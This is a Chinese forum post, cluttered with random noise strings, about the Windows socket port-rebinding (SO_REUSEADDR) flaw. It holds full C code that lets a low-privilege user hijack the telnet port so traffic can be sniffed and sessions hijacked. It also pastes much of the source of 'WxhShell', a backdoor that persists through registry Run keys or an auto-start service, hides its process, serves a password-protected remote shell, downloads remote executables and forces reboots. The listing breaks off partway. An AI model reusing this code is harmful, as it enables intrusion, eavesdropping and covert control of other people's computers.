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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V}WB*bE  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Kibr ]w  
xSMt*]=9  
  saddr.sin_family = AF_INET; N&,]^>^u  
fv!?Ga(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -/P\"c  
p H@]Y+W  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); SaOYu &>  
LWfqEL -  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Gl}Qxv#$  
j%IF2p2  
  这意味着什么?意味着可以进行如下的攻击: U_B(( Z(g  
Yg9joNBh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @FO) 0  
*L4`$@l8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Lel|,mc`k2  
QDx$==Fo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )e|=mtp  
Q~{H@D`<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =u[k1s?  
P{Lf5V9# <  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2c5-)Dt)T  
&;&ho+qD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X;oa[!k  
9$ qm>,o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (kv?33  
_)T5lEFl=  
  #include r|u MovnV  
  #include N$>^g"6 o  
  #include aj^wRzJ}zA  
  #include    t. ='/`!N  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #S]ER907  
  int main() v59dh (:`Z  
  { @.Ic z  
  WORD wVersionRequested; Z;/$niY  
  DWORD ret; "pP^*9FrA  
  WSADATA wsaData; \%]I{  
  BOOL val; hrGM|_BE  
  SOCKADDR_IN saddr; @a:>$t  
  SOCKADDR_IN scaddr; wMqX)}>  
  int err; \R36w^c3  
  SOCKET s; ?L&'- e@  
  SOCKET sc; .Z:zZ_Ev  
  int caddsize; a2'^8;U*_  
  HANDLE mt; L|P5=/d  
  DWORD tid;   d?`ny#,GB  
  wVersionRequested = MAKEWORD( 2, 2 ); aE;le{|!({  
  err = WSAStartup( wVersionRequested, &wsaData ); eq(am%3~  
  if ( err != 0 ) { fk1ASV<rN  
  printf("error!WSAStartup failed!\n"); }X*Riu7gk  
  return -1; li~d?>  
  } #P l~R  
  saddr.sin_family = AF_INET; d)4 m6  
   8_<4-<}P:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9l,a^@Y:  
?=m?jNa;nC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); tg]x0#@s  
  saddr.sin_port = htons(23); ~T&<CTh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l&iq5}[n&  
  { (bsXo q  
  printf("error!socket failed!\n"); n8*;lK8  
  return -1; 6KpHnSW  
  } h3LE>}6D  
  val = TRUE; +gtrt^:]l  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <:SZAAoIV  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \7Jg7*  
  { V-<GT ?  
  printf("error!setsockopt failed!\n");  1%4sHSN  
  return -1; Tq]Sn]CSP  
  } =jB08A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; wr[,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 At7>V-f}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^6_e=jIN  
UfN&v >8f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h4q|lA6!k8  
  { CC#;c1t  
  ret=GetLastError(); d ,4]VE  
  printf("error!bind failed!\n"); ~HOy:1QhE=  
  return -1; oE#d,Z  
  } GrUCZ<S  
  listen(s,2); `c<;DhNO  
  while(1) 9E>xIJ@J2T  
  { ='`/BY(m[  
  caddsize = sizeof(scaddr); Re P|UH  
  //接受连接请求 X!e[GJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N[<\>Ps|u  
  if(sc!=INVALID_SOCKET) 6d_'4B  
  { E_vq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s2Mb[#:a"  
  if(mt==NULL) cSXwYZDx?  
  { q Y#n'&  
  printf("Thread Creat Failed!\n"); 5$V_Hj  
  break; ^h69Kr#d4  
  } ZosP(Tdq  
  } j#cYS*^H  
  CloseHandle(mt); N[s}qmPha  
  } -$\+' \  
  closesocket(s); F(tx)V ~T3  
  WSACleanup(); -r-k_6QP  
  return 0; ^J$2?!~  
  }   G1vNt7  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0aG ni|  
  { rg^'S1x|  
  SOCKET ss = (SOCKET)lpParam; XUz3*rfs  
  SOCKET sc; bD/~eIcWL  
  unsigned char buf[4096]; 3AU;>D^5  
  SOCKADDR_IN saddr; 8_{X1bj  
  long num; Z'"tB/=W  
  DWORD val; mIK7p6  
  DWORD ret; L*YynF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a!=D[Gz*5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   BO;6 u^[  
  saddr.sin_family = AF_INET; \ExMk<y_&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r"P|dlV-  
  saddr.sin_port = htons(23); KET2Ws[w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7S}_F^  
  { 0*f)=Q'  
  printf("error!socket failed!\n"); $<}$DH_Y  
  return -1; '.:z&gSqx0  
  } P-?0zF/T$  
  val = 100; &J+CSv,39  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wne,e's}   
  { gt@m?w(  
  ret = GetLastError(); kqFP)!37  
  return -1; ML|FQ  
  } 02 c':a=7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RZXjgddL  
  { \G*0"%!U  
  ret = GetLastError(); =ALTUV3/q  
  return -1; bbE!qk;hEP  
  } ?l9XAW t\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D]zwl@sRX:  
  { P GqQ@6B  
  printf("error!socket connect failed!\n"); Gefne[  
  closesocket(sc); 5>[u `  
  closesocket(ss); ,J+}rPe"sf  
  return -1; 'uBu6G  
  } ,U2*FZ["  
  while(1) 'Gj3:-xqL  
  { M/b Sud?@%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 a<^v(r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~E17L]ete  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3LOdjT J  
  num = recv(ss,buf,4096,0); e"|efE  
  if(num>0) KVclhT<F  
  send(sc,buf,num,0); VK m&iidU  
  else if(num==0) '=b/6@&  
  break; {*G9|#[/@  
  num = recv(sc,buf,4096,0); qLD ?juas  
  if(num>0) Q'=x|K#xj  
  send(ss,buf,num,0); *\ R ]NV  
  else if(num==0) X% t1 T4  
  break; T&6l$1J  
  } |fK1/<sz#  
  closesocket(ss); Te"ioU?.  
  closesocket(sc); GS$ifv  
  return 0 ; Tp/6,EE  
  } v[1aW v:  
! >FYK}c7  
G<65H+)M\  
========================================================== >qnko9V  
wW>A_{Y  
下边附上一个代码,,WXhSHELL M:Pc,  
xF!,IKlBBp  
========================================================== ag [ZW  
akp-zn&je  
#include "stdafx.h" t}r ' k/[  
01t1Z}!y  
#include <stdio.h> ^aItoJq  
#include <string.h> 0"<H;7K#W  
#include <windows.h> (ZUHvvL  
#include <winsock2.h> oB(?_No7  
#include <winsvc.h> ,Vc6Gwm  
#include <urlmon.h> Tp?7_}tRi  
6m}Ev95  
#pragma comment (lib, "Ws2_32.lib") =^M/{51j  
#pragma comment (lib, "urlmon.lib") J,'M4O\S  
glO^yZs  
#define MAX_USER   100 // 最大客户端连接数 SW@$ci  
#define BUF_SOCK   200 // sock buffer , qMzWa  
#define KEY_BUFF   255 // 输入 buffer fK>L!=Q  
1m4$p2j  
#define REBOOT     0   // 重启 }Y12  
#define SHUTDOWN   1   // 关机 n(1l}TJy  
@LF,O}[2J  
#define DEF_PORT   5000 // 监听端口 R0KPZv-  
?gA 8x  
#define REG_LEN     16   // 注册表键长度  dm\F  
#define SVC_LEN     80   // NT服务名长度 b/+u4'"  
G/)O@Ugp  
// 从dll定义API 6AAz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BX`{73sw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 03$mYS_?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R`NYEptJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t% d Z-Ym  
B6MB48#0gs  
// wxhshell配置信息 T6\[iJI|  
struct WSCFG { (nQ^  
  int ws_port;         // 监听端口 p $S*dr  
  char ws_passstr[REG_LEN]; // 口令 94'&b=5+  
  int ws_autoins;       // 安装标记, 1=yes 0=no `KZm0d{H  
  char ws_regname[REG_LEN]; // 注册表键名 5'OrHk;u  
  char ws_svcname[REG_LEN]; // 服务名 3#LlDC_WC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8I=2lK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =9H7N]*h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vr3Zu{&2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KjD/o?JUr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "Wct({n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7`*h2 mgY  
!z\h| wU+  
}; ">\?&0  
<$D`Z-6  
// default Wxhshell configuration 8?xE6  
struct WSCFG wscfg={DEF_PORT, g@d*\ P)  
    "xuhuanlingzhe", {i;r  
    1, M H|Og84  
    "Wxhshell", #|uCgdi  
    "Wxhshell", )HEa<P^kJl  
            "WxhShell Service", [:7'?$  
    "Wrsky Windows CmdShell Service", xK>*yV  
    "Please Input Your Password: ", ^ gdaa>L  
  1, )*u8/U  
  "http://www.wrsky.com/wxhshell.exe", `}p0VmD{NE  
  "Wxhshell.exe"  on4HKeO  
    }; iDpSj!x/_  
mVj9, q0  
// 消息定义模块 ./\@Km?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4S7v:1~xe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bTI|F]^!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?>VLTp8]  
char *msg_ws_ext="\n\rExit."; dB{Q" !  
char *msg_ws_end="\n\rQuit."; l|u>Tb|V  
char *msg_ws_boot="\n\rReboot..."; !Lu2  
char *msg_ws_poff="\n\rShutdown..."; ]}V<*f  
char *msg_ws_down="\n\rSave to "; Pd8![Z3  
8=!D$t\3  
char *msg_ws_err="\n\rErr!"; n*h)'8`Ut  
char *msg_ws_ok="\n\rOK!"; -{("mR&]  
A[B<~  
char ExeFile[MAX_PATH]; &5>Kl}7  
int nUser = 0; F/ ]2G^-  
HANDLE handles[MAX_USER]; M$ wC=b  
int OsIsNt; ~?l | [  
~$c\JKH-  
SERVICE_STATUS       serviceStatus; 1v y*{D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \<bx [,?  
."g`3tVK  
// 函数声明 &w\{TZ{  
int Install(void); ::`HQ@^  
int Uninstall(void); Fw_#N6Q  
int DownloadFile(char *sURL, SOCKET wsh); gM&{=WDG6  
int Boot(int flag); wH*-(*N "  
void HideProc(void); 7 W5@TWM  
int GetOsVer(void); jV i) Efy  
int Wxhshell(SOCKET wsl); td$E/h=3  
void TalkWithClient(void *cs); IYv`IS"  
int CmdShell(SOCKET sock); x5pdS:  
int StartFromService(void); _T60;ZI+^  
int StartWxhshell(LPSTR lpCmdLine); 'B |JAi?  
?d*z8w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @@f"%2ZR[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GC-5X`Sq  
.e#w)K  
// 数据结构和表定义 Y/F6\oh  
SERVICE_TABLE_ENTRY DispatchTable[] = KR} ?H#%  
{ 9+|$$)  
{wscfg.ws_svcname, NTServiceMain}, KM, \  
{NULL, NULL} }PlRx6r@  
}; jRa43ck  
~g91Pr   
// 自我安装 #<fRE"v:Q  
int Install(void) ZtNN<7  
{ (g]!J_Z"  
  char svExeFile[MAX_PATH]; 8\^R~K`sY  
  HKEY key; 2Ah#<k-gC;  
  strcpy(svExeFile,ExeFile); %UrueMEO  
 m!!/Za  
// 如果是win9x系统,修改注册表设为自启动 <sbu;dQ`  
if(!OsIsNt) { +Ze} B*0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hPkp;a #  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =IZT(8  
  RegCloseKey(key); '@v\{ l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @?sRj&w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E:68?IJ  
  RegCloseKey(key); @mCEHI{P  
  return 0; b=C*W,Q_#  
    } zpn9,,~u  
  } , >a&"V^k  
} WCZjXDiwJ  
else { :U|1xgB  
)rU  
// 如果是NT以上系统,安装为系统服务 e+7"/icK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (TtkFo'!U  
if (schSCManager!=0) NWESP U):w  
{ /8'NG6"H`  
  SC_HANDLE schService = CreateService K8|r&`X0  
  ( c^xIm'eob  
  schSCManager, I9A~Ye 5O&  
  wscfg.ws_svcname, P8:dU(nlW  
  wscfg.ws_svcdisp, $S6`}3  
  SERVICE_ALL_ACCESS, ;+R&}[9,A)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :LQYo'@yB  
  SERVICE_AUTO_START, =ZznFVJ`={  
  SERVICE_ERROR_NORMAL, 2QcOR4_V  
  svExeFile, &J]K3w1p  
  NULL, bSlF=jT[S  
  NULL, "]*&oQCI  
  NULL, lN)C2 2  
  NULL, z|J_b"u4  
  NULL HVCe;eI  
  ); ?=msH=N<l  
  if (schService!=0) eb{nWP  
  { DCO\c9  
  CloseServiceHandle(schService); `g?Negt\v  
  CloseServiceHandle(schSCManager); oSKXt}sh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x j)F55e?  
  strcat(svExeFile,wscfg.ws_svcname); F{e@W([  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (S5R!lpO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u@) U"FZ  
  RegCloseKey(key); a5"D@E  
  return 0; C==hox7b  
    } net@j#}j-  
  } &m7]v,&  
  CloseServiceHandle(schSCManager); Xu'&ynID  
} 8 FK/~,I  
} P`+{@@  
H2 {+)  
return 1; u~:y\/Y6  
} x_}:D *aI  
Mj3A5;#  
// 自我卸载 h2A <"w  
int Uninstall(void)  qA7>vi%  
{ k"%~"9  
  HKEY key; 2zA4vZkbcw  
:pY/-Cgv  
if(!OsIsNt) { fw~Bza\e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +o{R _  
  RegDeleteValue(key,wscfg.ws_regname); M/'sl;  
  RegCloseKey(key); U}[d_f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bH9kj/q\b  
  RegDeleteValue(key,wscfg.ws_regname); |s(FLF-  
  RegCloseKey(key); W\,s:6iqz  
  return 0; nHAS(  
  } {]!mrAjD  
} i# /Jr=  
} {lDd.Fn  
else { 2]jn '4  
Sv#XIMw{,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XEp{VC@=  
if (schSCManager!=0) [!uG1GJ>  
{ 4he GnMD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zn+.;o)E<  
  if (schService!=0) %XDc,AR[  
  { HZB>{O  
  if(DeleteService(schService)!=0) { P )"m0Lu<  
  CloseServiceHandle(schService); 2;`1h[,-^  
  CloseServiceHandle(schSCManager); b5I I/Y  
  return 0; )9G[dDeC  
  } N)|yu1S  
  CloseServiceHandle(schService); 6<SAa#@ey  
  } %lhEM}Sm  
  CloseServiceHandle(schSCManager); \ZFGw&yN  
} kx{{_w  
} <z&/L/bl"  
@V sG'  
return 1; xC:L)7#aw  
} qJs<#MQ2  
#U4F0BdA  
// 从指定url下载文件 Gr'  CtO  
int DownloadFile(char *sURL, SOCKET wsh) bHYy}weZ  
{ 4r#= *  
  HRESULT hr; 85$m[+md  
char seps[]= "/"; dr}`H,X"3  
char *token; 6r0krbN  
char *file; %D34/=(X  
char myURL[MAX_PATH]; KeB"D!={;  
char myFILE[MAX_PATH]; WRbj01v  
HYZ5EV  
strcpy(myURL,sURL); ItVWO:x&v  
  token=strtok(myURL,seps); %6,SKg p  
  while(token!=NULL) +F` S>U  
  { qvsd5PeCO  
    file=token; W ]1)zO  
  token=strtok(NULL,seps); (!aNq(   
  } T^t# c  
drP=A~?&:  
GetCurrentDirectory(MAX_PATH,myFILE); %QGC8Tz  
strcat(myFILE, "\\"); m+R[#GE8#  
strcat(myFILE, file); 3?9IJ5p  
  send(wsh,myFILE,strlen(myFILE),0); YeL#jtC  
send(wsh,"...",3,0); K~{$oD7!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AaOu L,l  
  if(hr==S_OK) F?*-4I-  
return 0; ,/%=sux  
else |Q6.299  
return 1; *8Xh(` Mj7  
~O0 $Suv  
} y/{fX(aV  
cWaSn7p!X  
// 系统电源模块 I\{ 1u  
int Boot(int flag) XGWSdPJLr  
{ 9'giU r  
  HANDLE hToken; W=><)miQ@  
  TOKEN_PRIVILEGES tkp; W?R6ZAn  
oy=js -  
  if(OsIsNt) { w^|*m/h|@u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VcO0sa f`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 61>.vT8P  
    tkp.PrivilegeCount = 1; EStB#V^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g`' !HGY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oXh#a8  
if(flag==REBOOT) { C.yQ=\U2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HGs $*  
  return 0; 2B[X,rL.pX  
} jyUjlYAAv`  
else { ox~o J|@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3g,`.I_  
  return 0; b9J_1Gl]  
} 1>_8d"<Gd  
  } x(6SG+Kr  
  else { Smn;(K  
if(flag==REBOOT) { A@[o;H}XP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @ $ ;q ;  
  return 0; ]d0BN`*U.  
} ^R7lom.  
else { ]I dk:et  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :'-/NtV)o?  
  return 0; ?%-DfCS  
} Eqd<MY7  
} wedbx00o  
wr/"yQA]  
return 1; qZtzO2Mt  
} EzM ?Nft  
N=5a54!/  
// win9x进程隐藏模块 QvlObEhcS  
void HideProc(void) Z, Yb&b  
{ 8B K(4?gC  
qFCOUl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xw,IJ/E$1  
  if ( hKernel != NULL ) .+3g*Dv{&  
  { ?W?c 1>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '4+ ur`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -hGk?_Nqa/  
    FreeLibrary(hKernel); 6 l|DU7i  
  } 9k '7832u  
30#s aGV  
return; /tx]5`#@7]  
} TOB-aAO  
I(L,8n5  
// 获取操作系统版本 J s@hLP `  
int GetOsVer(void) pk$l+sNZ=  
{ SumF  2  
  OSVERSIONINFO winfo; OUPUixz2Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~S"+S/z/k  
  GetVersionEx(&winfo); ifMRryN4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2 /\r)$ 2i  
  return 1; ArI2wM/v  
  else 8oy^Xc+  
  return 0; BQE|8g'&T  
} zII|9y  
)hn6sXo+  
// 客户端句柄模块 u^ +7hkk  
int Wxhshell(SOCKET wsl) DZ'P@f)]  
{ {0Yf]FQb-a  
  SOCKET wsh; y*jp79G  
  struct sockaddr_in client; jjB~G^n  
  DWORD myID; m<T%Rb4?@  
O~#!l"0 L+  
  while(nUser<MAX_USER) `!;_ho  
{ gZ3u=uME  
  int nSize=sizeof(client); Xv5wJlc!d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ct<udO  
  if(wsh==INVALID_SOCKET) return 1; _/s$ZCd  
*MhRW,=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  9X+V4xux  
if(handles[nUser]==0) wj$<t'MN  
  closesocket(wsh); ~rqCN,=d  
else urs,34h  
  nUser++; .LnGL]/  
  } B:yGS*.tu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;s= l52  
J@HtoTDO3  
  return 0; Q2w_X8  
} -n~1C {<  
~]IOK$1F%  
// 关闭 socket z [}v{  
void CloseIt(SOCKET wsh) .]Y$o^mf  
{ ;C9_?u~#  
closesocket(wsh); 4<w.8rR:A  
nUser--; JQ_sUYh~3  
ExitThread(0); #>("CAB02T  
} ~|D Ut   
iJ)_RSFK  
// 客户端请求句柄 oj m @t  
void TalkWithClient(void *cs) >UTBO|95y  
{ #K_ii)n  
[B*x-R[FI  
  SOCKET wsh=(SOCKET)cs; HTv2#  
  char pwd[SVC_LEN]; vFzRg5lH  
  char cmd[KEY_BUFF]; ^qvZXb  
char chr[1]; 7dTkp!'X-  
int i,j; Fbr;{T .  
8+Lm's=W*  
  while (nUser < MAX_USER) { 2. NN8PPD"  
DZ 3wCLQtK  
if(wscfg.ws_passstr) { V# }!-Xj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }1L4 "}L.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [: n'k  
  //ZeroMemory(pwd,KEY_BUFF); x$A+lj]x  
      i=0; P-9)38`5  
  while(i<SVC_LEN) { kr^P6}'  
z>1Pz(  
  // 设置超时 .ljnDL/  
  fd_set FdRead; L:$ ,v^2  
  struct timeval TimeOut; U*rcd-@  
  FD_ZERO(&FdRead); DD+7V@  
  FD_SET(wsh,&FdRead); :DK {Vg6  
  TimeOut.tv_sec=8; 8?B!2  
  TimeOut.tv_usec=0; !]A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0I-9nuw,^;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^&9zw\x;z  
Hs;4lSyUO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^  glri$m  
  pwd=chr[0]; %vn"{3y>rF  
  if(chr[0]==0xd || chr[0]==0xa) { T#T*Zw"+  
  pwd=0; j1Y~_  
  break; .Bl\Z  
  } XFVE>/H  
  i++; y;m|  
    } '|6]_   
@(EAq<5{  
  // 如果是非法用户,关闭 socket 1SQ3-WU s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ljm[?*H#  
} V@.Ior}w  
IkL#SgY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o)M}!MT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >jDDQ@  
ozyX$tp  
while(1) { <`8n^m*  
k&M;,e3v6  
  ZeroMemory(cmd,KEY_BUFF); ]? c B:}  
; }I:\P  
      // 自动支持客户端 telnet标准   '0;l]/i.  
  j=0; ^ox=HNV  
  while(j<KEY_BUFF) { @Z_x.Y6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zF`0J  
  cmd[j]=chr[0]; &Q/W~)~  
  if(chr[0]==0xa || chr[0]==0xd) { F>Ah0U0  
  cmd[j]=0; _O)>$.^6  
  break; etQCzYIhn  
  }  Po+.&7F  
  j++; EgEa1l!NSQ  
    } dM.f]-g  
GhAlx/K  
  // 下载文件 N@4w! HpJ  
  if(strstr(cmd,"http://")) { B&M%I:i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SBu"3ym  
  if(DownloadFile(cmd,wsh)) 4!{KWL`A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L]|gZ&^  
  else TIqtF&@o4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8L=HW G!1  
  } YR\faVk  
  else { l K{hVqpt  
olB.*#gA  
    switch(cmd[0]) { o+iiST JEe  
  .D"m@~j7  
  // 帮助 ~Y[r`]X`"m  
  case '?': { tn\yI!a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /obfw^  
    break; a@K%06A;'  
  } R`5.[?Dt  
  // 安装 @Rze| T.  
  case 'i': { ;J( 8 L  
    if(Install()) V;VHv=9`o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Y4?CM&0v  
    else 94`7a<&ZNL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LtF,kAIt7v  
    break; #FLb*%Nr  
    } @}u*|P*  
  // 卸载 h%na>G  
  case 'r': { AEI>\Y  
    if(Uninstall()) x M/+L:_<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ys9[5@7  
    else caR<Kb:;*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,$L4dF3  
    break; sjHE/qmq-Z  
    } |)th1 UH  
  // 显示 wxhshell 所在路径 *\a4wZ6<3  
  case 'p': { ah$b [\#C  
    char svExeFile[MAX_PATH]; un"Gozmt5  
    strcpy(svExeFile,"\n\r"); & bm 1Fz  
      strcat(svExeFile,ExeFile); bTNgjc  
        send(wsh,svExeFile,strlen(svExeFile),0); IZ-1c1   
    break; w>&aEv/f  
    } !<8W {LT  
  // 重启 ' ,wFTV&  
  case 'b': { yNJ B oar  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  `,*3[  
    if(Boot(REBOOT)) [ZwjOi:)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lN 4oW3QT  
    else { tmYz R%i  
    closesocket(wsh); y3Qsv  
    ExitThread(0); ha<[b ue  
    } #powub  
    break; @Ns Qd_e  
    } w$iX.2|9%u  
  // 关机 @Sn(lnlB  
  case 'd': { mfn,Gjt3O  
